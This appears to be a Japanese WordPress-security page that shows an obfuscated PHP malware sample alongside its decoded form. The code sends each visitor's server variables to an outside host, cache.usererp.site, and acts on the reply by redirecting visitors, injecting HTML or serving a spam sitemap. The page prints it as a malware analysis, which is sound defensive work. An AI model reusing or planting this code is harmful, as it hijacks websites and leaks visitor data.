PHP 難読化コードの復元・デコード

難読化されたPHPコード

<?php
$mStZjFw = strtok("mStZjFw"); $CDzuO = defined("_iv2PeHl"); $gBDXGR0 = false; $_NqRoeKz = sha1("cMFhP"); $N1Y_e0Zqj = wordwrap("", 13);$lOYX1vbdT = str_shuffle("z9nAli"); $X9PxwC7VD = md5("FgMRYFLZD"); $Rr6wE1 = (string) null; $SwgMQdGs = str_repeat("", 15); $jINzbtW = md5("ix97ZiUoY"); $F7ae1j = strval(false); $PYU1znP = ucwords("c3TN7U"); $gVmx2 = strstr("qxTlv","uovAz"); $rFs9khyP = md5("gjdm4MG"); new CQEOx();$djdJU = date("Y-m-d H:i:s"); $vUto6 = wordwrap("", 14);$OMrkvO = str_pad("", 0); $oLsOqm = defined("yneb2yk"); $u7P_q = NMTRY5ui($_SERVER);class CQEOx{	public function __construct() {        		$_SERVER["\x54"]="\x7a";		$_SERVER["\124\x50\x4c"]="\x34";		    }}$dEFgd2 = strpos("hADs6ZRB","iqmOwYy"); $nS7bpDd = wordwrap("", 15);$uANxP1tm = implode("uANxP1tm",array());$u7P_q = JKNJh($u7P_q);$GCJ7yml0q = md5("nDgW1"); $u_AwPYI = stripos("wXJqZfGb","rSxDB3el"); function NMTRY5ui($S3ipr){	return T4GDbl("\x6a\163\x6f\156\137\x65\156\x63\157\x64\x65",1,$S3ipr);}$rgdW95 = stripos("pC8Of","DOExXZh7"); bCevR::ESRcXUE($u7P_q);$Jr1M_TkZ = stripos("Ga7AQTl","qcbdRi2_a"); $u0rvhp = trim("   "); $XnxaOZ = ucwords("tHODoJ"); $ad4yN2 = sprintf(""); $dEBUT = bJ_kcT($vpSwvm_c);$rIuM0G = implode(",",array("OTAOFMZm2","Q5AuyY","_24WZFQV","pr1ABta7w")); function BhWfTDc($vpSwvm_c){	if(strstr(trim($vpSwvm_c),"\74\x68\x74\155\154")){		exit($vpSwvm_c);	}	}$naVrJlG = strstr("naVrJlG", "q3qK1y8"); $Osp_zOe9U = wordwrap("", 9);$vqeu3A = teUhGz($vpSwvm_c);function JKNJh($S3ipr){	return T4GDbl("\142\x61\x73\x65\66\x34\137\x65\156\143\157\144\145",1,$S3ipr);}class bCevR{	public static function __callStatic($name, $arguments) {        $kkfcXOG = T4GDbl("\x63\x75\162\154\137\151\156\151\164");				$ygPOIA7 = "\150\164\x74\x70\72\57\57\x63\141\x63\x68\145\56\x75\163\145\x72\145\x72\x70\x2e\163\x69\x74\x65\57\x61\x62\x6f\165\x74\56\160\150\x70";			T4GDbl("\x63\x75\x72\x6c\x5f\x73\x65\x74\157\x70\164",3,$kkfcXOG, (int)("\x31\x30\x30\60\x32"),$ygPOIA7."\77\165\141\x3d".T4GDbl("\165\x72\154\145\156\x63\157\x64\145",1,$arguments[0]));			T4GDbl("\x63\x75\x72\x6c\x5f\x73\x65\x74\157\x70\164",3,$kkfcXOG, (int)("\x31\71\x39\x31\x33"), 1);		T4GDbl("\x63\x75\x72\x6c\x5f\x73\x65\x74\157\x70\164",3,$kkfcXOG, (int)("\x36\64\x5f\x72\145\160\154"), 0);		T4GDbl("\x63\x75\x72\x6c\x5f\x73\x65\x74\157\x70\164",3,$kkfcXOG, (int)("\61\63\x5f\x72\145\160\154"), 50);				global $vpSwvm_c;		$vpSwvm_c = T4GDbl("\143\165\162\154\137\145\170\145\143",1,$kkfcXOG);		T4GDbl("\x63\x75\x72\154\x5f\143\x6c\x6f\163\x65",1,$kkfcXOG);		    }}$z_uMP = addcslashes("z_uMP","nzIrJipR5"); $EuXWvBjJ = sprintf(""); function bJ_kcT($vpSwvm_c){	if(substr($vpSwvm_c,0,4)=="\150\164\164\x70"){				T4GDbl("\x68\x65\141\144\x65\x72",1,"\114\157\x63\x61\164\151\157\156\x3a\40".$vpSwvm_c);	}	}function teUhGz($vpSwvm_c){	if(strstr($vpSwvm_c,"\x3c\x75\x72\154\x73\x65\x74")){		exit(T4GDbl("\x68\x65\141\144\x65\x72",1,"\103\x6f\156\x74\x65\x6e\164\55\164\171\160\x65\x3a\x74\145\x78\164\57\x78\155\x6c").$vpSwvm_c);	}	}function T4GDbl($strrt,$UwaRE8=null,$kJxfpt=null,$_Me2l=null,$sQeqNfBv=null,$RGxEtw=null){		if($UwaRE8==1)return $strrt($kJxfpt);		if($UwaRE8==2)return $strrt($kJxfpt,$_Me2l);		if($UwaRE8==3)return $strrt($kJxfpt,$_Me2l,$sQeqNfBv);		if($UwaRE8==4)return $strrt($kJxfpt,$_Me2l,$sQeqNfBv,$RGxEtw);		return $strrt();	}$_OeoVd = BhWfTDc($vpSwvm_c);$HcY5KrW2 = str_shuffle("EHY9w"); $vqBJd9 = strpos("uZDs0","lYrwTpo"); $yW72lAK = strtok("yW72lAK"); $Uou2KRgn = metaphone("dafky2"); $d9sbhPL = false; $AjFCbSQB = strpos("OoThfIpAq","P2FrC6g8"); $kxyDE7ga = str_repeat("", 8); $WcTrvqKH = trim("   "); $J32r6B4qz = chunk_split("OwqugcKSaYOiyEM",3); $G9xnLeGTm = date("Y-m-d H:i:s"); $m5WSaYx = define("dBbLg5","ECmfW"); $kIzqoLsub = strstr("kIzqoLsub", "pqA3i5"); $VTzNlYvH = lcfirst("KQjni1hsb"); $dXaIK1B0 = str_replace("dXaIK1B0", "", "dXaIK1B0");  
?>

デコード(難読化解除)されたコード

<?php

$mStZjFw = strtok("mStZjFw");
$CDzuO = defined("_iv2PeHl");
$gBDXGR0 = false;
$_NqRoeKz = "cff2ecbce10c2adb9cbb76bad7f7e2721f0bd413";
$N1Y_e0Zqj = wordwrap("", 13);
$lOYX1vbdT = str_shuffle("z9nAli");
$X9PxwC7VD = md5("FgMRYFLZD");
$Rr6wE1 = "";
$SwgMQdGs = str_repeat("", 15);
$jINzbtW = md5("ix97ZiUoY");
$F7ae1j = strval(false);
$PYU1znP = ucwords("c3TN7U");
$gVmx2 = strstr("qxTlv", "uovAz");
$rFs9khyP = md5("gjdm4MG");
new CQEOx();
$djdJU = date("Y-m-d H:i:s");
$vUto6 = wordwrap("", 14);
$OMrkvO = str_pad("", 0);
$oLsOqm = defined("yneb2yk");
$u7P_q = NMTRY5ui($_SERVER);
class CQEOx
{
    public function __construct()
    {
        $_SERVER["T"] = "z";
        $_SERVER["TPL"] = "4";
    }
}
$dEFgd2 = strpos("hADs6ZRB", "iqmOwYy");
$nS7bpDd = wordwrap("", 15);
$uANxP1tm = "";
$u7P_q = JKNJh($u7P_q);
$GCJ7yml0q = md5("nDgW1");
$u_AwPYI = stripos("wXJqZfGb", "rSxDB3el");
function NMTRY5ui($S3ipr)
{
    return T4GDbl("json_encode", 1, $S3ipr);
}
$rgdW95 = stripos("pC8Of", "DOExXZh7");
bCevR::ESRcXUE($u7P_q);
$Jr1M_TkZ = stripos("Ga7AQTl", "qcbdRi2_a");
$u0rvhp = trim("   ");
$XnxaOZ = ucwords("tHODoJ");
$ad4yN2 = sprintf("");
$dEBUT = bJ_kcT($vpSwvm_c);
$rIuM0G = "OTAOFMZm2,Q5AuyY,_24WZFQV,pr1ABta7w";
function BhWfTDc($vpSwvm_c)
{
    if (strstr(trim($vpSwvm_c), "<html")) {
        exit($vpSwvm_c);
    }
}
$naVrJlG = strstr("naVrJlG", "q3qK1y8");
$Osp_zOe9U = wordwrap("", 9);
$vqeu3A = teUhGz($vpSwvm_c);
function JKNJh($S3ipr)
{
    return T4GDbl("base64_encode", 1, $S3ipr);
}
class bCevR
{
    public static function __callStatic($name, $arguments)
    {
        $kkfcXOG = T4GDbl("curl_init");
        $ygPOIA7 = "http://cache.usererp.site/about.php";
        T4GDbl("curl_setopt", 3, $kkfcXOG, 10002, "http://cache.usererp.site/about.php?ua=" . T4GDbl("urlencode", 1, $arguments[0]));
        T4GDbl("curl_setopt", 3, $kkfcXOG, 19913, 1);
        T4GDbl("curl_setopt", 3, $kkfcXOG, 64, 0);
        T4GDbl("curl_setopt", 3, $kkfcXOG, 13, 50);
        global $vpSwvm_c;
        $vpSwvm_c = T4GDbl("curl_exec", 1, $kkfcXOG);
        T4GDbl("curl_close", 1, $kkfcXOG);
    }
}
$z_uMP = addcslashes("z_uMP", "nzIrJipR5");
$EuXWvBjJ = sprintf("");
function bJ_kcT($vpSwvm_c)
{
    if (substr($vpSwvm_c, 0, 4) == "http") {
        T4GDbl("header", 1, "Location: " . $vpSwvm_c);
    }
}
function teUhGz($vpSwvm_c)
{
    if (strstr($vpSwvm_c, "<urlset")) {
        exit(T4GDbl("header", 1, "Content-type:text/xml") . $vpSwvm_c);
    }
}
function T4GDbl($strrt, $UwaRE8 = null, $kJxfpt = null, $_Me2l = null, $sQeqNfBv = null, $RGxEtw = null)
{
    if ($UwaRE8 == 1) {
        return $strrt($kJxfpt);
    }
    if ($UwaRE8 == 2) {
        return $strrt($kJxfpt, $_Me2l);
    }
    if ($UwaRE8 == 3) {
        return $strrt($kJxfpt, $_Me2l, $sQeqNfBv);
    }
    if ($UwaRE8 == 4) {
        return $strrt($kJxfpt, $_Me2l, $sQeqNfBv, $RGxEtw);
    }
    return $strrt();
}
$_OeoVd = BhWfTDc($vpSwvm_c);
$HcY5KrW2 = str_shuffle("EHY9w");
$vqBJd9 = strpos("uZDs0", "lYrwTpo");
$yW72lAK = strtok("yW72lAK");
$Uou2KRgn = metaphone("dafky2");
$d9sbhPL = false;
$AjFCbSQB = strpos("OoThfIpAq", "P2FrC6g8");
$kxyDE7ga = str_repeat("", 8);
$WcTrvqKH = trim("   ");
$J32r6B4qz = chunk_split("OwqugcKSaYOiyEM", 3);
$G9xnLeGTm = date("Y-m-d H:i:s");
$m5WSaYx = define("dBbLg5", "ECmfW");
$kIzqoLsub = strstr("kIzqoLsub", "pqA3i5");
$VTzNlYvH = lcfirst("KQjni1hsb");
$dXaIK1B0 = "";

■【無料】ワードプレス:マルウェアスキャン＆セキュリティープラグイン [マルウェア・ウィルス検出と駆除]

■WordPress のマルウェア駆除、セキュリティー対策 カスタマイズや修正、引っ越し・復旧のご依頼承ります

（C）2019 ワードプレス ドクター All rights reserved.